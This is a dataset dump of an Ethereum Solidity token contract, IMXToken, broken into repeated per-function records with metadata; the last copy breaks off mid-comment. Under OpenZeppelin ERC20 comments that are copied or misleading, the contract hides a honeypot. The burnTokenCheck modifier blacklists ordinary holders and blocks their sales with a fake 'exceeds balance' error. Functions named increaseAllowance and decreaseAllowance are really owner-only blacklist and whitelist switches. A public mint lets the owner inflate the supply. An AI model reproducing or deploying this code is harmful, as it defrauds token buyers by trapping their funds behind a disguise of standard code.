/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 4074, 4248 ] }
59,266
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 4717, 5047 ] }
59,267
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 5451, 5742 ] }
59,268
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of 